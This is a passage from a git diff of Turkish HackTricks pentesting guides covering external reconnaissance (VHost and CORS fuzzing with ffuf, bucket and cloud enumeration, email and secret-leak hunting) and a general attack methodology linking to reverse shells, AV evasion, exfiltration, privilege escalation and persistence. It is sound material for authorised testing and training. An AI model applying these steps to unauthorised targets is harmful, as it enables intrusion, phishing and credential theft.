çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**. +Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**. #### OSINT -Bazı **VHosts'leri IP'lerde bulmak için** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'leri** kullanabilirsiniz. +Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'leri** kullanabilirsiniz. **Brute Force** -Eğer bazı alt alanların bir web sunucusunda gizlenmiş olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz: +Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile denemeyi düşünebilirsiniz: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -440,14 +440,14 @@ VHostScan -t example.com ### **CORS Brute Force** -Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **yeni** **alt alanları** **keşfetmek** için kötüye kullanabilirsiniz. +Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için **yeni alt alan adları** bulmak amacıyla kötüye kullanabilirsiniz. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **Buckets Brute Force** -**Alt alanlar** ararken, herhangi bir tür **bucket**'a **işaret edip etmediğine** dikkat edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**mümkün olan bucket isimlerini brute force yapmayı ve izinleri kontrol etmeyi**](../../network-services-pentesting/pentesting-web/buckets/) deneyin. +**Alt alanlar** ararken, herhangi bir tür **bucket**'a **işaret edip etmediğine** dikkat edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ +Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**mümkün olan bucket isimlerini brute force yapmayı ve izinleri kontrol etmeyi**](../../network-services-pentesting/pentesting-web/buckets/index.html) deneyin. ### **Monitorization** @@ -455,10 +455,10 @@ Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **S ### **Looking for vulnerabilities** -Olası [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ -Eğer **alt alan** bir **S3 bucket**'a işaret ediyorsa, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). +Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ +Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/index.html). -Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP ile alt alan** bulursanız, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ +Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP'ye sahip herhangi bir alt alan** bulursanız, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ &#xNAN;_Note, bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._ ## IPs @@ -476,7 +476,7 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi **CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir. -**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/) **bulun.** +**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/index.html) **bulun.** ## Web sunucuları avı @@ -498,11 +498,11 @@ Artık **kapsamdaki tüm web sunucularını** (şirketin **IP'leri** ve tüm **a Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz. -Ayrıca, ardından tüm **ekran görüntülerini** taramak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar içerebilecek** olanları belirleyebilirsiniz. +Ayrıca, daha sonra **screenshot**'lar üzerinde çalışmak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar** içerebilecek olanları ve içermeyenleri belirleyebilirsiniz. ## Kamu Bulut Varlıkları -Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan **anahtar kelimeler listesiyle başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi** ile başlamalısınız. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak: @@ -512,26 +512,26 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](#second-dns-bruteforce-round) bölümüne bakın). -Elde edilen kelime listeleriyle [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** +Elde edilen kelime listeleri ile [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**. ### **Zayıf Noktaları Arama** -Açık kova veya maruz kalmış bulut işlevleri gibi şeyler bulursanız, **erişim sağlamalı** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. +Açık kova veya maruz kalmış bulut işlevleri gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. ## E-postalar -Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: +Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için** ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: -- [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle +- [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile - [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm) - [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm) - [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm) ### **Zayıf Noktaları Arama** -E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** kırmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. +E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** denemek için faydalı olacaktır. Ayrıca, **phishing** için de gereklidirler. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. ## Kimlik Bilgisi Sızıntıları @@ -546,12 +546,12 @@ E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (S ## Gizli Bilgi Sızıntıları -Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir: +Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir: ### Github Sızıntıları Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\ -Bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. +Bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık repolarını** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. **Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. @@ -565,14 +565,14 @@ github-leaked-secrets.md ### Paste Sızıntıları -Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ +Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ Aynı anda 80'den fazla paste sitesinde arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz. ### Google Dorks -Eski ama altın değerinde google dorks, **orada olmaması gereken maruz kalmış bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) **gibi bir araç kullanabilirsiniz**. +Eski ama altın değerindeki google dorks, **orada olmaması gereken** **maruz kalmış bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz. -_Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ +_Not: Tüm veritabanını düzenli Google tarayıcısı kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ ### **Zayıf Noktaları Arama** @@ -580,7 +580,7 @@ _Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalışt ## Kamu Kod Zayıflıkları -Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz. +Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz. **Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır: @@ -588,19 +588,19 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edeb ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: +Ayrıca, **açık repoları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: - [**Snyk**](https://app.snyk.io/) -## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/) +## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/index.html) -**Hata avcıları tarafından bulunan** **zayıf noktaların çoğunluğu**, **web uygulamalarının** içinde yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). +**Hata avcıları tarafından bulunan zayıf noktaların** çoğunluğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/index.html). Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.** ## Tekrar -> Tebrikler! Bu noktada **tüm temel sayım işlemlerini** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla sayım yapılabilir (daha fazla hile göreceğiz). +> Tebrikler! Bu noktada **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla numaralandırma yapılabilir (daha fazla hile göreceğiz). Yani, zaten şunları buldunuz: @@ -612,11 +612,11 @@ Yani, zaten şunları buldunuz: 6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?) 7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz. 8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir. -9. Bulduğunuz tüm **web sitelerini pentest ettiniz** +9. Bulduğunuz tüm web sitelerini **pentest ettiniz** ## **Tam Recon Otomatik Araçlar** -Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır. +Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birkaç araç bulunmaktadır. - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 503194f5a..5469f3343 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,6 +2,7 @@ {{#include ../banners/hacktricks-training.md}} + ## Pentesting Metodolojisi
@@ -10,23 +11,23 @@ _Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ ### 0- Fiziksel Saldırılar -Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı ipuçları** ([**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md)) ve [**GUI uygulamalarından kaçış**](../hardware-physical-access/escaping-from-gui-applications.md) hakkında diğerlerini okumalısınız. +Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı** [**ipuçlarını**](../hardware-physical-access/physical-attacks.md) ve **GUI uygulamalarından kaçış** hakkında diğerlerini okumalısınız. -### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/index.html#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/) +### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/index.html#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/index.html) -**Testin** **içsel veya dışsal** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (iç test) veya **şirketin internetteki varlıklarını bulmak** (dış test) isteyebilirsiniz. +**Testin** **içsel veya dışsal** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (iç test) veya **şirketin internetteki varlıklarını bulmak** (dış test) ile ilgilenebilirsiniz. > [!NOTE] > Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız. -### **2-** [**Ağ ile Eğlenmek**](pentesting-network/) **(İçsel)** +### **2-** [**Ağ ile Eğlenmek**](pentesting-network/index.html) **(İçsel)** **Bu bölüm yalnızca iç test yapıyorsanız geçerlidir.**\ -Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Network**](pentesting-network/index.html#sniffing) bölümünü okuyabilirsiniz. +Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Ağı**](pentesting-network/index.html#sniffing) okuyabilirsiniz. ### 3- [Port Taraması - Servis keşfi](pentesting-network/index.html#scanning-hosts) -**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlar**](pentesting-network/index.html#scanning-hosts) kısmına bakalım. +**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlar**](pentesting-network/index.html#scanning-hosts) bakalım. ### **4-** [Servis versiyon açıklarını aramak](../generic-hacking/search-exploits.md) @@ -34,32 +35,32 @@ Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten ### **5-** Pentesting Servisleri -Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her bir çalışan serviste **yaygın yanlış yapılandırmaları** aramalısınız. +Eğer çalışan bir servis için herhangi bir ilginç exploit yoksa, her çalışan serviste **yaygın yanlış yapılandırmaları** aramalısınız. -**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve diğer o kadar yaygın olmayanları). Lütfen, sol dizinde _**PENTESTING**_ **bölümünü** arayın (servisler varsayılan portlarına göre sıralanmıştır). +**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve o kadar yaygın olmayanları da). Lütfen, sol dizinde **_PENTESTING_** bölümünü arayın (servisler varsayılan portlarına göre sıralanmıştır). -**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\ -Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](../generic-hacking/search-exploits.md) hakkında küçük bir kılavuz burada bulunmaktadır. +**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\ +Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](../generic-hacking/search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir. -**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimler için arama yapın ve **eklememi isterseniz bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). +**Eğer servisinizi dizinde bulamazsanız, Google'da** diğer eğitimler için arama yapın ve **eklememi isterseniz bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). #### 5.1 Otomatik Araçlar -Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri notlarına dayanan bir araçtır.** +Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri notlarına dayanan bir araçtır.** #### **5.2 Brute-Force ile servisleri zorlamak** -Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet burada bulabilirsiniz**](../generic-hacking/brute-force.md)**.** +Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulabilirsiniz**](../generic-hacking/brute-force.md)**.** -### 6- [Phishing](phishing-methodology/) +### 6- [Phishing](phishing-methodology/index.html) -Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz: +Bu noktada ilginç bir zafiyet bulamadıysanız, **ağa girmek için bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/index.html) okuyabilirsiniz: -### **7-** [**Shell Elde Etmek**](../generic-hacking/reverse-shells/) +### **7-** [**Shell Elde Etmek**](../generic-hacking/reverse-shells/index.html) -Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesi çok faydalı olacaktır](../generic-hacking/reverse-shells/). +Bir şekilde, **kurban üzerinde kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesinin çok faydalı olacağını](../generic-hacking/reverse-shells/index.html) göreceksiniz. -Özellikle Windows'ta **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\ +Özellikle Windows'ta, **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\ ### 8- İçeride @@ -67,63 +68,63 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) +- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html) ### **9 -** [**Veri Sızdırma**](../generic-hacking/exfiltration.md) -Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** (örneğin, ayrıcalık yükseltme betikleri) gerekecektir. **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](../generic-hacking/exfiltration.md)**.** +Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler eklemeniz** (örneğin ayrıcalık yükseltme betikleri) gerekecektir. **Burada bu amaçlarla kullanabileceğiniz** [**yaygın araçlar hakkında bir yazı bulabilirsiniz**](../generic-hacking/exfiltration.md)**.** ### **10- Ayrıcalık Yükseltme** #### **10.1- Yerel Privesc** -Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\ -Burada **Linux'ta yerel ayrıcalıkları yükseltmek için bir kılavuz** ([**Linux**](../linux-hardening/privilege-escalation/)) ve **Windows'ta** ([**Windows**](../windows-hardening/windows-local-privilege-escalation/)) bulabilirsiniz.\ -Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz: +Eğer kutuda **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\ +Burada **Linux'ta** [**yerel ayrıcalıkları yükseltmek için bir kılavuz**](../linux-hardening/privilege-escalation/index.html) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/index.html)** bulabilirsiniz.**\ +Ayrıca, **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz: -- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- [**NTLM nasıl çalışır**](../windows-hardening/ntlm/) +- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) +- [**NTLM nasıl çalışır**](../windows-hardening/ntlm/index.html) - Windows'ta [**kimlik bilgilerini çalmanın**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) yolları -- [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları +- [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) hakkında bazı ipuçları **Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Alan Privesc** -Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir. +Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/index.html) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir. ### 11 - POST #### **11**.1 - Yağmalama -Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla** **diğer makinelere erişiminiz** olup olmadığını kontrol edin.\ +Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla** **diğer makinelere erişiminiz olup olmadığını** kontrol edin.\ Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) için farklı yollar bulabilirsiniz. #### 11.2 - Kalıcılık **Sistemi tekrar istismar etmenize gerek kalmaması için 2 veya 3 farklı kalıcılık mekanizması kullanın.**\ -**Burada bazı** [**active directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/index.html#persistence)** bulabilirsiniz.** +**Burada bazı** [**Active Directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/index.html#persistence)** bulabilirsiniz.** -TODO: Windows & Linux'ta kalıcılık Post'unu tamamla +TODO: Windows & Linux'ta kalıcılık Postunu tamamla -### 12 - Pivoting +### 12 - Pivotlama -**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmeniz ve taramanız** (Pentesting Metodolojisini yeniden başlatın) gerekebilir.\ -Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\ -Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\ -Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir. +**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız vardır.\ +Bu durumda, tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\ +Ayrıca, [Active Directory pentesting 